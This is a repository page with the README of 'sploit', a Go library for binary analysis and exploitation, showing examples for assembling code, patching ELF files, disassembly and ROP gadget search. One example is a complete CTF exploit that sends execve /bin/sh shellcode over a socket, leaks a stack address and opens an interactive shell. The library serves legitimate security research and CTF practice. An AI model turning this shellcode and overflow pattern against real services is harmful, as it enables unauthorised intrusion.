• Stars
    star
    173
  • Rank 220,124 (Top 5 %)
  • Language
    Go
  • License
    MIT License
  • Created about 4 years ago
  • Updated over 3 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Go package that aids in binary analysis and exploitation

sploit Test Status

Sploit is a Go package that aids in binary analysis and exploitation. The motivating factor behind the development of sploit is to be able to have a well designed API with functionality that rivals some of the more common Python exploit development frameworks while taking advantage of the Go programming language. Excellent cross-compiler support, goroutines, powerful crypto libraries, and static typing are just a few of the reasons for choosing Go.

This project is inspired by pwntools and other awesome projects. It is still early in development. Expect for this project to be focused heavily on shellcoding, binary patching, ROP stack construction, and general binary analysis.

Solution for a CTF Challenge

package main;

import(
    sp "github.com/zznop/sploit"
)

var arch = &sp.Processor {
    Architecture: sp.ArchI386,
    Endian: sp.LittleEndian,
}

var scInstrs = `mov al, 0xb   /* __NR_execve */
                sub esp, 0x30 /* Get pointer to /bin/sh (see below) */
                mov ebx, esp  /* filename (/bin/sh) */
                xor ecx, ecx  /* argv (NULL) */
                xor edx, edx  /* envp (NULL) */
                int 0x80`

func main() {
    shellcode, _ := sp.Asm(arch, scInstrs)
    r, _ := sp.NewRemote("tcp", "some.pwnable.on.the.interwebz:10800")
    defer r.Close()
    r.RecvUntil([]byte("HELLO:"), true)

    // Leak a stack address
    r.Send(append([]byte("/bin/sh\x00AAAAAAAAAAAA"), sp.PackUint32LE(0x08048087)...))
    resp, _ := r.RecvN(20)
    leakAddr := sp.UnpackUint32LE(resp[0:4])

    // Pop a shell
    junk := make([]byte, 20-len(shellcode))
    junk = append(junk, sp.PackUint32LE(leakAddr-4)...)
    r.Send(append(shellcode, junk...))
    r.Interactive()
}

Compiling Assembly to Machine Code

package main;

import(
    "github.com/zznop/sploit"
    "encoding/hex"
    "fmt"
)

func main() {
    instrs := "mov rcx, r12\n"              +
              "mov rdx, r13\n"              +
              "mov r8, 0x1f\n"              +
              "xor r9, r9\n"                +
              "sub rsp, 0x8\n"              +
              "mov qword [rsp+0x20], rax\n"

    arch := &sploit.Processor {
        Architecture: sploit.ArchX8664,
        Endian: sploit.LittleEndian,
    }

    opcode, _ := sploit.Asm(arch, instrs)
    fmt.Printf("Opcode bytes:\n%s\n", hex.Dump(opcode))
}
> ./assemble_example
Opcode bytes:
00000000  4c 89 e1 4c 89 ea 49 c7  c0 1f 00 00 00 4d 31 c9  |L..L..I......M1.|
00000010  48 83 ec 08 48 89 44 24  28                       |H...H.D$(|

Patching an ELF File

package main

import (
    "fmt"
    sp "github.com/zznop/sploit"
)

var origProgram = "../test/prog1.x86_64"
var patchedProgram = "./patched"

var patchInstrs = `
jmp past

message:
    .ascii "This is an example patch payload\n"

past:
    mov rdi, 1                    /* STDOUT file descriptor */
    lea rsi, [rip + message]      /* Pointer to message string */
    mov rdx, 33                   /* Message size */
    mov rax, 1                    /* __NR_write */
    syscall                       /* Execute system call */
self:
    jmp self                      /* Hang forever */
`

func main() {
    e, _ := sp.NewELF(origProgram)
    e.AsmPatch(patchInstrs, 0x1050)
    e.Save(patchedProgram, 0777)
}
> ./patch_elf
Patching _start of ../test/prog1.x86_64
Exporting patched ELF to ./patched
> ./patched
This is an example patch payload

Disassembling Code in an ELF Executable

package main;

import(
    "github.com/zznop/sploit"
    "fmt"
)

var program = "../test/prog1.x86_64"

func main() {
    elf, _ := sploit.NewELF(program)
    vaddr := uint64(0x1135)
    count := 34
    fmt.Printf("Disassembling %v bytes at vaddr:%08x\n", count, vaddr)
    disasm, _ := elf.Disasm(vaddr, count)
    fmt.Print(disasm)
}
> ./disassemble_example
Disassembling 34 bytes at vaddr:00001135
00001135: push rbp
00001136: mov rbp, rsp
00001139: sub rsp, 0x10
0000113d: mov dword ptr [rbp - 4], edi
00001140: mov qword ptr [rbp - 0x10], rsi
00001144: lea rdi, [rip + 0xeb9]
0000114b: call 0x1030
00001150: mov eax, 0
00001155: leave
00001156: ret

Querying and Filtering ROP Gadgets

package main;

import(
    "github.com/zznop/sploit"
)

var program = "../test/prog1.x86_64"

func main() {
    elf, _ := sploit.NewELF(program)
    rop, _ := elf.ROP()

    matched, _ := rop.InstrSearch("pop rbp")
    matched.Dump()
}
0000111f: pop rbp ; ret
0000111d: add byte ptr [rcx], al ; pop rbp ; ret
00001118: mov byte ptr [rip + 0x2f11], 1 ; pop rbp ; ret
00001113: call 0x1080 ; mov byte ptr [rip + 0x2f11], 1 ; pop rbp ; ret
000011b7: pop rbp ; pop r14 ; pop r15 ; ret
000011b3: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011b2: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011af: add esp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011ae: add rsp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
...

Dependencies

Some of Sploit's functionality relies on external dependencies. For instance, Sploit uses GCC's GAS assembler to compile assembly code and capstone to disassemble compiled code as part of the API exposed by asm.go.

Install capstone:

git clone https://github.com/aquynh/capstone.git --branch 4.0.2 --single-branch
cd capstone
make
sudo make install

Install GCC cross-compilers. The following commands assume you are running Debian or Ubuntu on a Intel workstation and may need changed if running another Linux distro:

sudo apt install gcc gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips-linux-gnu \
  gcc-mipsel-linux-gnu gcc-powerpc-linux-gnu

If you would rather use docker, an image containing the external dependences is on Docker Hub. Pull it with the following command:

docker pull zznop/sploit:latest

More Repositories

1

drow

Injects code into ELF executables post-build
C
222
star
2

bnida

Suite of plugins that provide the ability to transfer analysis data between Binary Ninja and IDA
Python
116
star
3

bn-uefi-helper

Helper plugin for analyzing UEFI firmware
C
87
star
4

pop-nedry

x86-64 Windows shellcode that recreates the Jurassic Park hacking scene (Ah, ah, ah... you didn't' say the magic word!)
Assembly
85
star
5

flyr

Block-based software vulnerability fuzzing framework
C
48
star
6

ghidra_scripts

My open source Ghidra scripts
Java
47
star
7

vizzy

Tool for profiling heap usage and memory management
C
29
star
8

binjago

Binary Ninja plugin for ROP gadget calculation
Python
27
star
9

ida-genesis

Suite of IDA scripts for SEGA Genesis ROM hacking
Python
27
star
10

bn-genesis

Binary Ninja plugin suite for SEGA Genesis ROM hacking
Python
26
star
11

bn-kconfig-recover

Automated recovery of Linux kernel build configurations
Python
23
star
12

ich

Linux crash harness with runtime process instrumentation
C
22
star
13

bn-kallsyms

Binary Ninja plugin for importing symbols to a kernel binary from /proc/kallsyms
Python
19
star
14

bn-brainfuck

Brainfuck architecture module and loader for Binary Ninja
Python
15
star
15

jump

Kriss Kross Jump-themed SEGA Genesis ROM CTF Challenge (Because why not?)
Assembly
14
star
16

retrofuzz

RetroFuzz is a fuzzer for SEGA Genesis emulators
Go
9
star
17

ida-sms

IDA scripts for SEGA Master System ROM Hacking
Python
7
star
18

efi-inspector

Binary Ninja plugin for inspecting UEFI firmware images
Python
6
star
19

smd-utils

SEGA Megadrive/Genesis binary utilities
Python
5
star
20

zpatch

Framework for applying patches to binary files
C
4
star
21

te-loader

Binary Ninja plugin for loading Terse Executables
Python
3
star
22

bn-recursion

Binary Ninja plugin for locating indirect and direct recursive logic in a binary
Python
2
star
23

retroctf-org

CTF platform for retro game challenges
JavaScript
1
star